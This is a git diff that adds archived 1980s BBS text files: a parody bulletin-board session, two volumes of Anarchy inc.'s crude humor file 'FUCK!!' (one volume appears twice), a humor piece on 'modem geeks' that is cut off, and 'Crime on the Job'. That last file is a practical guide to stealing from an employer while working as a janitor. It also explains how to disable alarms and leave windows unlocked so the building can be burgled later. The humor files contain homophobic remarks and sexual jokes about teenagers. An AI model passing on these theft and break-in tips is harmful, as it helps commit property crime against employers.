+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[FREE SEX...WITH A DOG: CALL 555-3831] +[1]: THE MAIN BOARD +[?=MENU] COMMAND :F + +Sorry, that section is only available +to users of level 2 access. + +After your information is verified by +the SysOp, and you leave [F]eedback, +you may receive access. + +[YOUR MOTHER WAS A HAMSTER...] +[1]: THE MAIN BOARD +[?=MENU] COMMAND :* + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +::::::::::::::::::::::::::::::::::::::: +: Bulletin Boards - Menu : +::::::::::::::::::::::::::::::::::::::: + + [1]...The Main Board + [2]...The Gaming Board + [3]...The Music & Movies Board + [4]...The Jokes Board + [5]...The For Sale/Wanted Board + [6]...The Bored Board + [7]...How Have You Helped Nowonkanu + [8]...What Should be in a BBS? + [9]...Certainly Not This! + [10]..Why Not? + [11]..Because it Looks Dumb! + [12]..Ok, I'll Stop it Then. + [13]..Good For You! + [14]..The Starry-Eyed League (Club) + [15]..The FCC (Air-Wave Regulators) + [16]..IBM Board + [17]..Apple Board + [18]..Timex-Sinclair Board + [19]..Free For All Sex Board + [20]..Advice&Consent Board/Lady Azure + +Now Active: The Main Board + +Select (1-20, Q=Quit) Board #Q + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[KEN'S HOUSE OF PANCAKES-NO RELATION!] +[1]: THE MAIN BOARD +[?=MENU] COMMAND :M + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + -=- Master List of Losers -=- + +[L]ist, [S]earch, [H]elp, [Q]uit :L + +THE NOWONKANU FCC TOO MANY Losers List: +[CTRL-S 2 PAUSE/SPACE 2 QUIT] + + 1. ALEXANDER O'ATLANTIS + 2. ANGRY HACKER + 3. BEOWULF + 4. BILL THE CAT + 5. BITBRAIN + 6. BLACK PANTHER + 7. BOUNTY BOB + 8. CAP'N HACK + 9. CAPTAIN HACKER + 10. COMPUTER MAN + 11. DEAR ABBY + 12. DILVISH + 13. DISC DECODER + 14. DONALD DUCK + 15. DROOPY EYES + 16. E-MAIL MAN + 17. HEIDI + 18. JIMMY THE PHREAK + 19. KEN HOMRICH + 20. KID SAFARI + 21. KRISTY + 22. LADY AZURE + 23. MR. MANIAC + 24. MR. MISCHEVIOUS + 25. PLEASURE VICTIM + 26. PRINCE OF DARKNESS + 27. RAP-MASTER + 28. SKATE 'N DESTROY + 29. SOMEONE ELSE + 30. THE BITER + 31. THE CRACKERJACK KID + 32. THE DESTROYER + 33. THE LAST STARFIGHTER + 34. THE MODEM HACKER + 35. THE OUTLAWED + 36. THE SCUZZ + 37. THE SNAKE + 38. THE THAI-PAN + 39. THE THRASHER + 40. THE UNBUCKLED + 41. THE WABIT + 42. TITAN PROMETHEUS + 43. YE OLDE TAVERN + +-- End of List -- + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[NOWONKANU WEARS WOMAN'S CLOTHES] +[1]: THE MAIN BOARD +[?=MENU] COMMAND :S + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + -=- Scan/Read Drivel -=- + +There are 8 messages posted +Accessing the Main Board... + +Scan from [1-8/N=New] :1 + +*1. %THIS BOARD +*2. Now, what do we do? +*3. I dunno, any suggesions? +*4. NUKE THIS BOARD!!! +*5. ^^^Bad Idea. +*6 %COME ON GUYS, VOTE! +*7. About Mr. Magneto... +*8. %PLEASE, I'M BEGGING YOU! + +[S]can/[Q]uit/[1-8, Last=0] :1 + +Numb: 1 +Subj: %THIS BOARD +From: KEN HOMRICH +Date: Sun Mar 3 8:39:36 PM + +POST ABOUT ANYTHING THAT WON'T FIT ON +ANOTHER BOARD...DO IT HERE! + +WE ARE 1200 BAUD NOW... + +WE HAVE A K-K-K-K00L SYSOP... + +AND MANI INTERESTING FURRY ANIMALS... + +INCLUDING THE MAJESTIC M00SE! + +KEN + +[S]can/[Q]uit/[1-8, Last=1] :Q + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[ONE DAY, POW! RIGHT IN THE KISSER!] +[1]: THE MAIN BOARD +[?=MENU] COMMAND :O + +Ready to Log-Off [Y/N]? Y + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Sign-off Loser #4117 at 12:35:56 PM + +Please call THE NOWONKANU FCC TOO MANY +again! + +Good-Bye, JHONNY THE AVENGER... + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +AE: Connection Terminated + +======================================= + + Well, there you have it, your first (and only) excursion into the Unwanted +Zone of THE NOWONKANU FCC TOO MANY. We hope you enjoyed it, or at least got a +good laugh...till next time, Edios! + + This has been an Ed-Co production... + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/fuck!!.hum b/textfiles.com/groups/ANARCHYINC/fuck!!.hum new file mode 100644 index 00000000..e8f58f7d --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/fuck!!.hum @@ -0,0 +1,277 @@ + ------------ + Anarchy inc. ...proudly presents... + ------------ + FUCK!! volume 1;revision 2.24 + with specially selected quotes from The VanMaster(an over-the-hill dude!) + Written on December 27th, 1984 A.D. -=- Sponsered by:The VanCo Associates +||---------------------------------------|| "We haven't done much in the + || Anarchy inc. The Daredevil, || past year, but we're still +|| Havoc The Chaos, The Moon Roach || going strong!" + || D.B. Cooper, Ruby Tuesday, DreadStar|| -Ron VanZuylen +|| The $heik, Eric C. Thompson, || VanVision CBBS 300/1200 baud + || Space Ace, Grim Jack, Princess Leia|| (408) 732-1079 +|| The Bullseye, Surf Rat, A Modem User || "if you connect, you're lucky." + ||-------------------------------------|| -The VanMaster +.::..::..::..::..::..::..::..::..::..::..::..::..::..::..::..::..::..::..::.. + + Chapter one : Life "Take two of anything, call anybody you want." + -The VanMaster + + To some people, life is wonderful. These people usually have 2.3 +girlfriends, a porsche coming at graduation, they are the captain of the +football team, totally buffed, and have blond hair, blue eyes with no ache. +This soft of person exists only on the Brady Bunch however, which is a terrible +pity. You aren't wonderful, and you're probally looked down at by these people +anyway. If you are wonderful, good-looking, etc. then why are you using a +modem in the first place? Isn't most of the stuff you do in your life useless? +You take time to earn money, spend it, and earn it again. Useless. In one +million years, on this pitiful little planet, nobody will remember you. All +efforts that you put in to making yourself useful are completely shot to hell. +Maybe not, after all, does hell even exist? (This will be discussed in later +chapters...) You spend time building up your life, only to have it torn apart +by forces beyond your control. Why live? You live in a world where there are +27 different brands of peanut butter, where man destroys nature for the +building of a shopping mall, and people still think digital watches are neat. +Everything around you is useless, futile, and disgustingly pathetic. While you +worry if your hair is "tweaked" or not, people are starving to death in Africa. +Yet, in another opinion, who gives a flying huck if they die? Perhaps it is +for the better, or perhaps one of these people will grow up and find a cure for +cancer. But it dosen't matter if they do or not, because we're all going to be +dead in 10,000 years anyway. + + Chapter two : Religion "Why use a modem...I have a pinata!" + -The VanMaster + + Perhaps, there is no god. Perhaps there is a god. Perhaps it is the +VanMaster, but this is very unlikely. Maybe Eric C. Thompson is god. Or +maybe one of those African children are... but I doubt that too. Now, people +say that evolution cannot work, because something cannot come out of nothing. +The same can apply to where god came from. Now, let's take another piece of +evidence. The human body is so perfectly mapped out and planned that somebody +must have put it together; pieced it together. But who? God couldn't have, +because nobody knows where he/she/it came from! Religious fanatics say that +people will know when they are dead. O-Boy, I just can't wait. This is +probably just a cop-out, but who am I to question them? Who am I to say that +they are wrong? Yet, who are they to say that my ideals and wrong, and I am +living in sin? All these people come to my door, and tell me that I am living +wrong, while they ask for donations and hand me pamplets? I say, that as long +as they don't bother me, I won't bother them, and we can both live in +happiness. Why can't we? To end it on an intresting note, "lord knows." + + Chapter three : Sex "The reason that there's no law against + masturbation is because people would probally + take the law into their own hands." + -The VanMaster + + Sex. Nice word, isn't it? You can use it to get people's attention. +Imagine, walk into a church and yell "SEX!" and, by golly, look at all the +attention you'll get. The word causes mormons to cringe upon sight. This is +why you don't see the word "SEX" hanging over your mantleplace. You can have +sex on your mantleplace, if it's big enough, or if you are the data general., +The word can also get you a slap in the face, or a very (ahem!) intresting +evening. According to the VanMaster sex is highly overrated. It is a very +powerful thing. Most people have it in their power. Most don't, like Matt +Ackeret, and the Champion Eternal, but I wouldn't know. (Check NewsWeek, Mar +14, '62 p.104-05 cover contains Jennifer Kirby for more information...) If you +are incapable of having sex, then life is hard, especially if you're into +masturbation and movies. Sex also brings children, which is a bad side-effect. +It is a common rumor that Sex has a direct link to reproducton, but that is not +true. (Again, check that issue of Newsweek, the one with Jennifer Kirby on the +cover..) Sex is a new thing to most modern-day teenagers, which is why there is +no such thing as a "sweet sixteen" anymore. In fact, there dosen't seem to be +a "sweet thirteen"...(Once again check that issue of newsweek with the article +on Kirby...) Kinky sex is not advised, as it leaves scars and other noticable +marks on unique parts of the body. We won't go into such things as whips, +chains, vibrators with kickstarters, or canalope. Personally, I don't like +canalope. I like grapefruit. (Again, check that damn articial.) Telephone +sex. What a concept. I, for one, am against telephone sex, because it +destroys the mind, your fantasies, and it's tiring too! Homosexuality makes me +sick, especially in males. Females don't bother me, as I like them anyway. If +god had wanted homosexuality, there would have Adam, Bob, and Eve. Eve, +however, would have got the short end of the stick. Think about it, or better +not, don't think about it, because maybe god dosen't exist, or maybe there WAS +Adam and Bob. And Bob just didn't get full credit, besides he wasn't into the +visibility kick. Maybe he got a sex change back in Eden, but Adam must have +done it. Maybe Adam is alive today, living in the body of The Quazar, but this +isn't too possible, since Bob is living in the body of The Champion Eternal. +Perhaps this is all garbage, and should be printed out on tractor feed paper, +and wadded up and thrown into the garbage disposal. Then again, print this on +the back on your hand, and wad it up and it in the garbage disposal and see the +expression your face, as well as the expression on your mother's. + + Chapter four : Love "Not only do blondes have more fun, + they have more V.D..." + -The VanMaster + + Love is a feeling. Can love really last, or are we all just fooling +ourselves? Isn't is funny how people go through their life loving so many +people. Is there a real love? Or is all just a lie, an illusion of the mind? +Is love an emotion, like happiness, joy, sadness? It seems to be a combination +of all of these. Is love eternal? How many boy/girlfriends have you had? Did +you love them? Ask youself, what is love? Does anybody really love anybody? +Is it a strong word, or is it just a word, like any other? What makes love any +different than happiness? or sadness? It is directly related to one person, +or many people. Do you love the world? Would you die for it? I think not. +Yet would you die for your boy/girl friend? I would...On the other hard, if I +did die for them, I wouldn't have them. Intresting. But it is a nice thing to +say to somebody, isn't it? Love, perhaps is a bond, holding two people +together. Bonds can break, tragically, utterly, and perhaps quickly. (For +example, ask people around you.) How fast does it take to fall out of love? +Two, three days perhaps? Six weeks? Six years? Maybe. It all depends on +what kind of personallity you have. Think about this one, let it sit. + + Chapter five : Personallity "The day after tomorrow is the third + day of the rest of your life." + -The VanMaster + + I am a mixture of personallities. I am part of the VanMaster, Havoc The +Chaos, The $heik, and other friends of mine. Does this mean that I have no +personallity, but instead, am a mixture of other people? No, it is that I am +my own person that ticks up people's quirks and mannerisms. + + This text-file is over. I'm tired, and look for later editions. + +Last comments: + +The VanMaster:"Kevin Q. Clover, aka THE QUAZAR, does not like being called + Uncle Quazar, due to the grounds that his associates might find + out that he is a COMPUTER GEEK, and he needs his modem for a + semblence of a social life. That's sad, isn't it?" + +The Daredevil:"Hey, I just work here..." + +Bob:"Fuck." + +Ron S. VanZuylen:"Hmmmm...I think I'll sink Austraila." + + This text-file is owned in part by The VanCo Associates, with concepts stolen +with permission from Ron S. VanZuylen. Anarchy inc. would like to have +nothing to do with this file, but we're stuck with it. + +(c) 1984 All Tables Reserved. MCMLXXXIV + + with many thanks to Jennifer "Trillia" Kirby, for without her, this text-file +would have gone as planned. Now nobody's going to read it! For a good time, +call Jennifer Kirby at (408) 245-,mnW]@\a(8 or at (415) 976-6060 or at +800-DUM-PRON!! All these calls are toll-free. + +HAVE A NICE DAY. +(Kinda scary, eh?) + Oh, your mother sins so bad. + Oh, the dog ate your bible. + Life is getting better. + Warning: Exploding bibles can be hazardous to your health. + +(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*) + + ----------- + Anarchy inc. ...somewhat proudly presents... + ------------ + + -= FUCK!! volume two =- + "Ooooo. Break out those write protect tabs!" + This text-file, being a group effort, was written and typed in by: + ...The Daredevil .&. Ruby Tuesday... with help from the VanMaster... + //-------------------------------------------\\ + || Anarchy inc. "We take care of our own." || + || The Daredevil, Ruby Tuesday, Havoc Chaos|| + || The Moon Roach, Surf Rat, the $heik, || + || GrimJack, The Bullseye, D.B. Cooper, || + || The Anarchist, Teeny Bopper, DreadStar, || + || Space Ace, Ron S. VanZuylen, A Modem User|| + || Pleasure Victim, Dark Shadow, Torqa Dun || + || Alexander of Atlantis, Someone Else... || + || (Getting rather large, arn't we... || (Oh, gwad.) + \\-------------------------------------------// + + Introduction (By Eric C. Thompson) "Did you know a cat will blink + ------------- when struck with a hammer?" + -The VanMaster + + Chapter one: Mow. The Coming. "If you can't beat them, + ------------ have them killed." + -The VanMaster + + Hello, this is the Daredevil. I'm going to prove how stupid people are, or +can be. For instance, most of you might have heard of, or be lucky to know Ron +S. VanZuylen. Ron and I happen to go to the same high school(name withheld.) +Now, in our freshman year, so long ago, we had heisted an iron bar from our +electronics lab. This bar was promptly carried around by Ron, and he would +usually attack people with it. We named this piece of pipe:"MOW". That's not +mow, as in mow the lawn, it's Moow. Mow. Get that right. We then started +somewhat of a cult. We told people that MOW was our savior, and we even had +somewhat of a following. The daily bulletin accually once read that there was +a 'MOW DAY'. Our cult chant was: "Mow is now...Or you go 'ow!'." Ron thought +that one up, I didn't. This proves that if you're loud enough about something, +people just might listen. Ron is pretty loud. Not only in his clothing style, +but in his mannerisms as well. He's kinda hard to miss. Maybe this doesn't +prove a darn thing, be we say it does. Now, do you want to argue with somebody +with an iron pipe, who calls it by name? Note that to this day, Ron has the +same pipe in his closet at home. If he ever hears about this file, I'll +probally end up with a slightly larger phone bill, but I felt that this story +needed to be told. Sigh. + + Chapter two: Bob the Homosexual in Eden. "I never bite my + ------------ nails. I pull them out with + pliers." -The VanMaster + + Now, most of you probally have heard Ron S. VanZuylen mention this person +named "Bob" once in a short while. If you haven't, consider yourself a virgin. +On second thought, take care of that little fact, and go out and get laid. +(Smack! Ruby just hit me.) You see, she's still not sure about devoting a +entire chapter of this wonderful little text-file to a homosexual from the +Garden of Eden. Now, how the heck did a homosexual get into the Garden. +Sources around that time say that he climbed the fence. Please note that there +were very few new users in this garden. Bob was supposed to have seduced Adam, +and Eve got the short end of the stick. Ruby ponders the fact that Eve must +have been rather jealous, and probally force fed this certain apple to Bob. +That was when Adam decided to have sexual relations with this apple. However, +the apple was plugged in, and the 64k ram card gave him a rather nasty shock in +a unique area of his body. Eve, again, wasn't too happy about this. So, God +decided that they were all crazy, and had them evicted from the garden. And +the poor new users were weeded out, and forced to leave. Now, where, you might +ask, is this garden? Well, go over to the home of Eric C. Thompson and look +in his backyard. Now, granted, it's not there, but it's one heck of a start. + + Chapter three: Belgian Waffles "The world is oyster. The + oyster is my pac-men." + -The VanMaster + + We here, at Anarchy inc. have a guru. He has recently arrived from Belgium, +and he is a waffle. He speaks no English, has sexual fantasies with syrup, and +weird tattoos on his face. His name, as named by the holy waffle people in the +high mountains of Belgium, is translated loosely(hmmm...) as Yo-Gert of +VanZuylen. He has come to the offices of Anarchy inc. for political asylum. +However, the judge almost threw us in the asylum, for trying to get United +States Citizenship for a waffle. The best we could do was get him his own +password on the Twilight Zone. We have come to know this guru very well, and +even though Eric C. Thompson has attempted many times to preform cannabalism +on him, we have vented Eric off, resulting in a very happy, and moldy, waffle. +It is said that Gandahi, when he died, his spirit lifted into the body of this +waffle. However, he would be an illegal alien, being in America, so our +beloved waffle is being deported tomorrow. + + Coming soon...From Anarchy inc. + "The Quest for a Waffle" + + "Uhhh, right." + + I looked up at the Moon Roach, who stood towering over me. He didn't look +very happy. His antennias bobbed up and down in unhappy discontent. "Look, +Daredevil, we can't write a file on waffles." + + I twitched my lip, and gave him a somewhat worried look. "Well, you see, +Roachie, we need more text-files. We're behind schedule. And-" + + The Moon Roach cut me off there, stating that Anarchy inc. would have +nothing to do with waffles. Perhaps, I would not upload this one. But maybe, +when he's not in the offices of Anarchy inc., I'm going to sneak over to the +apple, boot my copy of ae, and upload this text-file. Just don't tell him, +okay? Ruby and I would appriciate it. The VanMaster probally doesn't care +either way, as long as he gets paid. + + ..A group effort text file... + Written in full by: Ruby Tuesday, The Daredevil, and the VanMaster. + (Ah, the wonders of three way calling.) +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/fuckvol1.txt b/textfiles.com/groups/ANARCHYINC/fuckvol1.txt new file mode 100644 index 00000000..386d8ce2 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/fuckvol1.txt @@ -0,0 +1,196 @@ + + + ------------ + Anarchy inc. ...proudly presents... + ------------ + FUCK!! volume 1;revision 2.24 + with specially selected quotes from The VanMaster(an over-the-hill dude!) + Written on December 27th, 1984 A.D. -=- Sponsered by:The VanCo Associates +||---------------------------------------|| "We haven't done much in the + || Anarchy inc. The Daredevil, || past year, but we're still +|| Havoc The Chaos, The Moon Roach || going strong!" + || D.B. Cooper, Ruby Tuesday, DreadStar|| -Ron VanZuylen +|| The $heik, Eric C. Thompson, || VanVision CBBS 300/1200 baud + || Space Ace, Grim Jack, Princess Leia|| (408) 732-1079 +|| The Bullseye, Surf Rat, A Modem User || "if you connect, you're lucky." + ||-------------------------------------|| -The VanMaster +.::..::..::..::..::..::..::..::..::..::..::..::..::..::..::..::..::..::..::.. + + Chapter one : Life "Take two of anything, call anybody you want." + -The VanMaster + + To some people, life is wonderful. These people usually have +2.3 girlfriends, a porsche coming at graduation, they are the captain +of the football team, totally buffed, and have blond hair, blue eyes with +no ache. This soft of person exists only on the Brady Bunch however, +which is a terrible pity. You aren't wonderful, and you're probally looked +down at by these people anyways. If you are wonderful, good-looking, etc. +then why are you using a modem in the first place? Isn't most of the stuff +you do in your life useless? You take time to earn money, spend it, and +earn it again. Useless. In one million years, nobody will remember +you, on this pitiful little planet. All efforts that you put in to making +yourself useful are completely shot to hell. Maybe not, after all, +does hell even exist? (This will be discussed in later chapters...) +You spend time building up your life, only to have it torn apart by +forces beyond your control. Why live? You live in a world where there +are 27 different brands of peanut butter, where man distroys nature for +the building of a shopping mall, and people still think digital watches +are neat. Everything around you is useless, futile, and discustingly +pathetic. While you worry if your hair is "tweaked" or not, people are +starving to death in Africa. Yet, in another opinion, who gives a +flying huck if they die? Perhaps it is for the better, or perhaps one +of these people will grow up and find a cure for cancer. But if dosen't +matter if they do or not, because we're all going to be dead in 10,000 +years anyway. + + Chapter two : Religion "Why use a modem...I have a pinata!" + -The VanMaster + + Perhaps, there is no god. Perhaps there is a god. Perhaps it +is the VanMaster, but this is very unlikely. Maybe Eric C. Thompson +is god. Or maybe one of those african children are...But I doubt that +too. Now, people say that evolution cannot work, because something cannot +come out of nothing. The same can apply to where god came from. Now, +let's take another piece of evidence. The human body is so perfectly +mapped out, and planned, that somebody must have put it together, pieced +it together. But who? God couldn't have, because nobody knows where +he/she/it came from! Religious fanatics say that people will know when +they are dead. O-Boy, I just can't wait. This is probally just a cop-out, +but who am I to question them? Who am I to say that they are wrong? +Yet, who are they to say that my ideals and wrong, and I am living in sin? +All these people come to my door, and tell me that I am living wrong, while +they ask for donations and hand me pamplets? I say, that as long as they +don't bother me, I won't bother them, and we can both live in happiness. +Why can't we? To end it on an intresting note, "lord knows." + + Chapter three : Sex "The reason that there's no law against + masturbation is because people would probally + take the law into their own hands." + -The VanMaster + + Sex. Nice word, isn't it? You can use it to get people's attention. +Imagine, walk into a church and yell "SEX!" and, by golly, look at all the +attention you'll get. The word causes mormons to cringe upon sight. +This is why you don't see the word "SEX" hanging over your mantleplace. +You can have sex on your mantleplace, if it's big enough, or if you +are the data general., The word can also get you a slap in the face, or a +very (ahem!) intresting evening. According to the VanMaster sex is +highly overrated. (not in the case of Madonna), breath, and sometimes +respect. It is avery powerful thing. Most people have it in their +power. Most don't,like Matt Ackeret, and the Champion Eternal, but I +wouldn't know. (Check NewsWeek, Mar 14, '62 p.104-05 cover contains +Jennifer Kirby for more information...) If you are incapable of having +sex, then life is hard, especially if you're into masturbation and movies. +Sex also brings children, which is a bad side-effect. It is a common +rumor that Sex has a direct link to reproducton, but that is not true. +(Again, check that issue of Newsweek, the one with Jennifer Kirby on the +cover..) Sex is a new thing to most modern-day teenagers, which is why +there is no such thing as a "sweet sixteen" anymore. In fact, there +dosen't seem to be a "sweet thirteen"...(Once again check that issue of +newsweek with the article on Kirby...) Kinky sex is not advised, as it +leaves scars and other noticable marks on unique parts of the body. We +won't go into such things as whips, chains, vibrators with kickstarters, +or canalope. Personally, I don't like canalope. I like grapefruit. (Again, +check that damn articial.) Telephone sex. What a concept. I, for +one, am against telephone sex, because it distroys the mind, your fantasies, +and it's tiring too! Homosexuality makes me sick, especually in males. +Females don't bother me, as I like them anyway. If god had wanted +homosexuality, there would have Adam, Bob, and Eve. Eve, however, would +have got the short end of the stick. Think about it, or better not, +don't think about it, because maybe god dosen't exist, or maybe there WAS +Adam and Bob. And Bob just didn't get full credit, besides he wasn't +into the visibility kick. Maybe he got a sex change back in Eden, but +Adam must have done it. Maybe Adam is alive today, living in the body +of The Quazar, but this isn't too possible, since Bob is living in the +body of The Champion Eternal. Perhaps this is all garbage, and should +be printed out on tractor feed paper, and wadded up and thrown into the +garbage disposal. Then again, print this on the back on your hand, and +wad it up and it in the garbage disposal and see the expression your +face, as well as the expression on your mothers. + + Chapter four : Love "Not only do blondes have more fun, + they have more V.D..." + -The VanMaster + + Love is a feeling. Can love really last, or are we all +just fooling ourselves? Isn't is funny how people go through their +life loving so many people. Is there a real love? Or is all just +a lie, an illusion of the mind? Is love an emotion, like happiness, +joy, sadness? It seems to be a combination of all of these. Is love +eternal? How many boy/girlfriends have you had? Did you love them? +Ask youself, what is love? Does anybody really love anybody? Is +it a strong word, or is it just a word, like any other? What makes +love any different than happiness? or sadness? It is directly +related to one person, or many people. Do you love the world? Would +you die for it? I think not. Yet would you die for your boy/girl +friend? I would...On the other hard, if I did die for them, I wouldn't +have them. Intresting. But it is a nice thing to say to somebody, isn't +it? Love, perhaps is a bond, holding two people together. Bonds +can break, tragically, utterly, and perhaps quickly. (For example, +ask people around you.) How fast does it take to fall out of love? +Two, three days perhaps? Six weeks? Six years? Maybe. It all +depends on what kind of personallity you have. Think about this +one, let it sit. + + Chapter five : Personallity "The day after tomorrow is the third + day of the rest of your life." + -The VanMaster + I am a mixture of personallities. I am part of the VanMaster, +Havoc The Chaos, The $heik, and other friends of mine. Does this mean +that I have no personallity, but instead, am a mixture of other people? +No, it is that I am my own person that ticks up people's quirks and +mannerisms. + + This text-file is over. I'm tired, and look for later editions. +Last comments: + +The VanMaster:"Kevin Q. Clover, aka THE QUAZAR, does not like being called + Uncle Quazar, due to the grounds that his associates might find + out that he is a COMPUTER GEEK, and he needs his modem for a + semblence of a social life. That's sad, isn't it?" +The Daredevil:"Hey, I just work here..." +Bob:"Fuck." +Ron S. VanZuylen:"Hmmmm...I think I'll sink Austraila." + + This text-file is owned in part by The VanCo Associates, with concepts +stolen with permission from Ron S. VanZuylen. Anarchy inc. would like to +have nothing to do with this file, but we're stuck with it. + +(c) 1984 All Tables Reserved. MCMLXXXIV + +with many thanks to Jennifer "Trillia" Kirby, for without her, this text-file +would have gone as planned. No nobody's going to read it! +For a good time, call Jennifer Kirby at (408) 245-,mnW]@\a(8 or at +(415) 976-6060 or at 800-DUM-PRON!! All these calls are toll-free. + +HAVE A NICE DAY. +(Kinda scary, eh?) + Oh, your mother sins so bad. + Oh, the dog ate your bible. + Life is getting better. + Warning: Exploding bibles can be hazardous to your health. + + + + + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + + Another file downloaded from: NIRVANAnet(tm) + + & the Temple of the Screaming Electron Jeff Hunter 510-935-5845 + Rat Head Ratsnatcher 510-524-3649 + Burn This Flag Zardoz 408-363-9766 + realitycheck Poindexter Fortran 415-567-7043 + Lies Unlimited Mick Freen 415-583-4102 + + Specializing in conversations, obscure information, high explosives, + arcane knowledge, political extremism, diversive sexuality, + insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS. + + Full access for first-time callers. We don't want to know who you are, + where you live, or what your phone number is. We are not Big Brother. + + "Raw Data for Raw Nerves" + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/groups/ANARCHYINC/funonjob.txt b/textfiles.com/groups/ANARCHYINC/funonjob.txt new file mode 100644 index 00000000..b11b545b --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/funonjob.txt @@ -0,0 +1,80 @@ + +-------------- + Anarchy Inc. ...presents... +-------------- + + <[+=------------------------------=+]> + ! -=] Crime on the Job [=- ! + ! Written by: The Ascii Assassin ! + <[+=------------------------------=+]> + + [Or: How to Live off of $3.00 an Hour] +______________________________________________________________________________ + +-=]> Foreword/Disclaimer: <[=- + + This file is intended to teach you how to commit illegalities on the +job with a minimal risk of getting caught. Please note that I cannot take +responsibility for anybody's actions. If you are too inmature to allow this +to sink into your head, than don't bother. + +-=]> Introduction: <[=- + + First off, you need a job. Probably the best job for the beginner is +janitorial-type activities. It's best if you're not the only one. Especially +when you work in a big office building (which is, coincidentally, where most +of the goodies can be found). By stealing, filching, or otherwise seperating +goods from their previous owners, you can use the money you save by not having +to by them for other things. Like the phone bill you must be running up while +reading this file. + +-=]> Getting to it: <[=- + + First, you have to find a place that's offering janitorial jobs. Look +in the want ads or something (if you can't read..you've got a problem already) +You should be able to get the job on your own. Okay. So you've got the job. +And what do they want you to do? Take out the trash? It may be a thankless +job around the house, but there are rewards for doing this job. When you +empty trash cans from offices, you can, if you wish, look inside them. But +usually you'll find only scrap paper, diet cola bottles, and other such +mundane items a secretary can't do without. If you're looking for extra office +supplies, from diskette labels to postage stamps, they can usually be had. +Just look around. Be sure that you wear a big jacket or clothing with a lot +of pockets f you like petty thievery. If you want to steal things that are +of unusual shapes, like diskettes, get a newspaper and fold it up. The disk- +ette(s) inside. the perfect way to smuggle out flat goods that you can't fold +or fit in your pocket/jacket. So you see a jar of jelly beans or candy on the +desk? Help yourself. After all, it's not pleasant to work on an empty stomach. + + When you take the trash out to the dumpster(s) outside, the REAL fun +begins. There are goodies to be found. If you look carefully. If you drive, +you should park your car near the dumpster. So every time you take trash out +to the dumpster. Relieve them of some of the more valuable stuff and stuff it +in your car. If you don't drive, bring a duffel bag or something like that, +if your job is after-school, bring some books to disguise things a bit. + + Sometimes, you may have to vacuum offices. Make sure you start with an +empty bag. While you go through the rooms, and you spot something you like, +that can take a little dirt, grab it and wrap it up in some newspaper or what- +ever, and stuff it in the vacuum cleaner bag. When you're finished, pretend +you're taking it back to the dumpster (again?). Take your prizes out and dump +the bag, why would you keep it anyway? + + Major theft, stealing large items, is in a whole different league. +But, if you think you've got what it takes..go ahead. The best think you can +do on the job is to make it easy for you to get in and out. Before you leave, +turn off the alarm, leave a window unlocked, whatever..and come back later at +night. There are other text-files that go into more detail about break-in's. +They are definitely on the suggested reading list. + +-=]> Conclusion: <[=- + + Janitorial crime may not be very "glorious", but you can acquire +many neat and/or useful things at a minimal risk, while getting payed about +three dollars an hour at the same time. Just don't take any unneccesary risks. +If you take a big gamble and win, good for you. If you don't..well you DID +work in a big office bilding, saw some good-looking secretaries, etc.. +This file was created to give you a few ideas just to get started. The best +criminals are creative. Have fun. +______________________________________________________________________________ + diff --git a/textfiles.com/groups/ANARCHYINC/geekpers.hum b/textfiles.com/groups/ANARCHYINC/geekpers.hum new file mode 100644 index 00000000..a3c94ddd --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/geekpers.hum @@ -0,0 +1,181 @@ + ------------ + Anarchy inc. ...presents... + ------------ + +:::::::::::::::::::::::::::::::::::::::: +:: Modem Geeks .&. :: +:: Modem Personallities :: +:: :: +:: Written by: The Daredevil :: +:::::::::::::::::::::::::::::::::::::::: + + Hello, Daredevil here... + The purpose of this file is to explain, in humorous terms, the difference +between "modem geeks" and "modem personallities". I give great credit to the +authors of 'The Real Pirates Guide', whose excellent and unique writing style +gave birth to this file. + + + Modem Geeks have memorized every peek, poke, and call in the applesoft +manual. Their manuals are clean, and shiny, from the first day that they were +bought. + + Modem Personallities have their manuals, but they can't seem to find them +amist all the confusion in their rooms. They don't need to memorize memory +locations. They just ask a Modem Geek. + + Modem Geeks use their father's Pet computer, or their own Atari that they +bought at the flea market for $20. They also can use a vic-20 that was on sale +at K-Mart. + + Modem Personallities own their own Apple computer, usually a ][, ][+, or a +//e. Rarely do they log onto boards with a //c, or anything other than an +Apple. + + Modem Geeks ask (beg) for E-Mail. + + Modem Personallities get E-Mail without asking for it, and consider it a bit +of a nuisance. They like to talk voice and meet people, without hiding behind +a keyboard and a carrier tone. + + Modem Geeks wish and dream about having their own bbs up. They only use a +terminal, and have been asking how to put a bbs up on a terminal for six months +now. + + Modem personallities either have their own bbs up, are the co-sysop of a bbs, +or are good friends with the sysop. + + Modem Geeks send in large donations to systems, so they can be socially +accepted by the masses. + + Modem Personallities have had level nine since the system went up, and groan +at the idea of a Modem Geek accessing the Elite Section. + + Modem Geeks transfer things from one ae line to another...in the same area +code. + + Modem Personallities either don't waste time with ae lines, or they call out +of state anyway. There's too many Modem Geeks in the local area. + 